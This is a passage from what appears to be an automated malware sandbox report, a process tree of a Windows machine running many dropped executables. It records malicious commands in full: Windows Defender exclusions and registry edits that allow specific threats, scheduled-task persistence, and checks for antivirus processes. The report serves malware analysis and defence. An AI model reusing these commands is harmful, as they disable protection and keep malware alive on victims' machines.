      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2184,11898698046120973265,4967366158220157042,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3568 /prefetch:1
        6⤵
        
        PID:9012
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2184,11898698046120973265,4967366158220157042,131072 --lang=en-US --extension-process --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3340 /prefetch:1
        6⤵
        
        PID:8748
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2184,11898698046120973265,4967366158220157042,131072 --lang=en-US --extension-process --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5000 /prefetch:1
        6⤵
        
        PID:6748
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2184,11898698046120973265,4967366158220157042,131072 --lang=en-US --extension-process --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5156 /prefetch:1
        6⤵
        
        PID:6940
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2184,11898698046120973265,4967366158220157042,131072 --lang=en-US --extension-process --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5320 /prefetch:1
        6⤵
        
        PID:6164
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.facebook.com/video
        5⤵
        
        PID:9176
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ff9fa3946f8,0x7ff9fa394708,0x7ff9fa394718
        6⤵
        
        PID:6588
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2136,3796333605691665801,14238465934583101331,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2144 /prefetch:2
        6⤵
        
        PID:2168
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2136,3796333605691665801,14238465934583101331,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2432 /prefetch:3
        6⤵
        
        PID:6584
  - - C:\Users\Admin\Desktop\a\random.exe
      "C:\Users\Admin\Desktop\a\random.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Checks computer location settings
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Drops file in Windows directory
      Suspicious behavior: EnumeratesProcesses
      PID:7060
    - - C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        
        PID:5648
      - C:\Users\Admin\AppData\Local\Temp\1000047001\file300un.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000047001\file300un.exe"
        6⤵
        
        PID:6108
  - - C:\Users\Admin\Desktop\a\33333.exe
      "C:\Users\Admin\Desktop\a\33333.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:5676
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        Checks computer location settings
        
        PID:5016
      - C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe
        
        "C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe"
        6⤵
        Executes dropped EXE
        Modifies system certificate store
        
        PID:8592
      - C:\Users\Admin\AppData\Roaming\configurationValue\One.exe
        
        "C:\Users\Admin\AppData\Roaming\configurationValue\One.exe"
        6⤵
        Executes dropped EXE
        
        PID:8220
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5676 -s 272
        5⤵
        Program crash
        
        PID:8832
  - - C:\Users\Admin\Desktop\a\lenin.exe
      "C:\Users\Admin\Desktop\a\lenin.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Adds Run key to start application
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious behavior: EnumeratesProcesses
      PID:9156
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST
        5⤵
        Creates scheduled task(s)
        
        PID:5600
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST
        5⤵
        Creates scheduled task(s)
        
        PID:7716
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9156 -s 1704
        5⤵
        Program crash
        
        PID:9140
  - - C:\Users\Admin\Desktop\a\alex.exe
      "C:\Users\Admin\Desktop\a\alex.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:7036
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        
        PID:7384
      - C:\Users\Admin\AppData\Roaming\configurationValue\One.exe
        
        "C:\Users\Admin\AppData\Roaming\configurationValue\One.exe"
        6⤵
        
        PID:5632
  - - C:\Users\Admin\Desktop\a\well.exe
      "C:\Users\Admin\Desktop\a\well.exe"
      4⤵
      Executes dropped EXE
      PID:5980
  - - C:\Users\Admin\Desktop\a\swizzzz.exe
      "C:\Users\Admin\Desktop\a\swizzzz.exe"
      4⤵
      PID:8484
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        
        PID:7988
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        
        PID:6300
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        
        PID:1508
  - - C:\Users\Admin\Desktop\a\sarra.exe
      "C:\Users\Admin\Desktop\a\sarra.exe"
      4⤵
      PID:7924
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 7924 -s 920
        5⤵
        Program crash
        
        PID:2468
  - - C:\Users\Admin\Desktop\a\228.exe
      "C:\Users\Admin\Desktop\a\228.exe"
      4⤵
      PID:7916
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k move Descriptions Descriptions.cmd & Descriptions.cmd & exit
        5⤵
        
        PID:8588
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:2528
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "wrsa.exe opssvc.exe"
        6⤵
        
        PID:2884
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:6232
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe"
        6⤵
        
        PID:6912
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 331913
        6⤵
        
        PID:9064
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V "EnquiryAnContributionRefers" Tank
        6⤵
        
        PID:6636
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b Ph + Shoot 331913\r
        6⤵
        
        PID:2984
      - C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\331913\Rent.pif
        
        331913\Rent.pif 331913\r
        6⤵
        
        PID:2008
      - C:\Windows\SysWOW64\PING.EXE
        
        ping -n 5 127.0.0.1
        6⤵
        Runs ping.exe
        
        PID:4312
  - - C:\Users\Admin\Desktop\a\fileosn.exe
      "C:\Users\Admin\Desktop\a\fileosn.exe"
      4⤵
      PID:6460
  - - C:\Users\Admin\Desktop\a\amers.exe
      "C:\Users\Admin\Desktop\a\amers.exe"
      4⤵
      PID:7464
  - - C:\Users\Admin\Desktop\a\IerLRtXpEcMnUjz.exe
      "C:\Users\Admin\Desktop\a\IerLRtXpEcMnUjz.exe"
      4⤵
      PID:8332
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Desktop\a\IerLRtXpEcMnUjz.exe"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7924
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:7420
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\DzmQEVPXhX.exe"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5928
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\DzmQEVPXhX" /XML "C:\Users\Admin\AppData\Local\Temp\tmpD01E.tmp"
        5⤵
        Creates scheduled task(s)
        
        PID:8876
    - - C:\Users\Admin\Desktop\a\IerLRtXpEcMnUjz.exe
        
        "C:\Users\Admin\Desktop\a\IerLRtXpEcMnUjz.exe"
        5⤵
        
        PID:9156
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\a\IerLRtXpEcMnUjz.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5168
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'IerLRtXpEcMnUjz.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6748
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\cmd.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8832
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'cmd.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4216
      - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "cmd" /tr "C:\ProgramData\cmd.exe"
        6⤵
        Creates scheduled task(s)
        
        PID:8944
  - - C:\Users\Admin\Desktop\a\gold.exe
      "C:\Users\Admin\Desktop\a\gold.exe"
      4⤵
      PID:8276
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        
        PID:8464
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8276 -s 260
        5⤵
        Program crash
        
        PID:6100
  - - C:\Users\Admin\Desktop\a\5.exe
      "C:\Users\Admin\Desktop\a\5.exe"
      4⤵
      PID:7500
  - - C:\Users\Admin\Desktop\a\Newoff.exe
      "C:\Users\Admin\Desktop\a\Newoff.exe"
      4⤵
      PID:1380
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Newoff.exe /TR "C:\Users\Admin\Desktop\a\Newoff.exe" /F
        5⤵
        Creates scheduled task(s)
        
        PID:5380
    - - C:\Users\Admin\AppData\Local\Temp\1000287001\360TS_Setup_Mini_WW.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000287001\360TS_Setup_Mini_WW.exe"
        5⤵
        
        PID:6360
      - C:\Users\Admin\AppData\Local\Temp\1000287001\360TS_Setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000287001\360TS_Setup.exe" /c:WW.Peter.CPI202405 /pmode:2 /promo:eyJib290dGltZSI6IjMiLCJtZWRhbCI6IjMiLCJuZXdzIjoiMCIsIm9wZXJhIjoiMyIsIm9wZXJhX2lucyI6IjAiLCJwb3B1cCI6IjMiLCJyZW1pbmRlciI6IjMiLCJ1cGdyYWRlX25vdyI6IjAifQo=
        6⤵
        
        PID:640
        
        C:\Program Files (x86)\1717260008_0\360TS_Setup.exe
        
        "C:\Program Files (x86)\1717260008_0\360TS_Setup.exe" /c:WW.Peter.CPI202405 /pmode:2 /promo:eyJib290dGltZSI6IjMiLCJtZWRhbCI6IjMiLCJuZXdzIjoiMCIsIm9wZXJhIjoiMyIsIm9wZXJhX2lucyI6IjAiLCJwb3B1cCI6IjMiLCJyZW1pbmRlciI6IjMiLCJ1cGdyYWRlX25vdyI6IjAifQo= /TSinstall
        7⤵
        
        PID:8980
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4356 --field-trial-handle=1940,i,12970112912691648928,10866989188800775912,131072 /prefetch:8
  2⤵
  PID:1656
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3244 --field-trial-handle=1940,i,12970112912691648928,10866989188800775912,131072 /prefetch:8
  2⤵
  PID:2572
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4868 --field-trial-handle=1940,i,12970112912691648928,10866989188800775912,131072 /prefetch:8
  2⤵
  PID:612

C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"
1⤵
PID:4964

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:4016

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:4596

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5860

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1440

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 640 -ip 640
1⤵
PID:3324

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:2752

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 5168 -ip 5168
1⤵
PID:1380

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 5168 -ip 5168
1⤵
PID:6532

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 5060 -ip 5060
1⤵
PID:4016

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 7420 -ip 7420
1⤵
PID:6804

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 5676 -ip 5676
1⤵
PID:4856

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:1648

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 9156 -ip 9156
1⤵
PID:1724

C:\Users\Admin\AppData\Local\Temp\7zS65EF.tmp\Install.exe
C:\Users\Admin\AppData\Local\Temp\7zS65EF.tmp\Install.exe PP /XafdidFSQl 385118 /S
1⤵
PID:7664
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  PID:8540
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    PID:5192
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      PID:7184
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:6920
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    PID:8832
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      PID:784
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:1216
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    PID:6744
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    PID:8604
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
      4⤵
      PID:9052
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:9184
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:6852
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
      4⤵
      PID:4760
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1508
      - C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        6⤵
        
        PID:7848
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  PID:8248
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:8584
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:8928
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:8432
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:8932
- - C:\Windows\SysWOW64\reg.exe
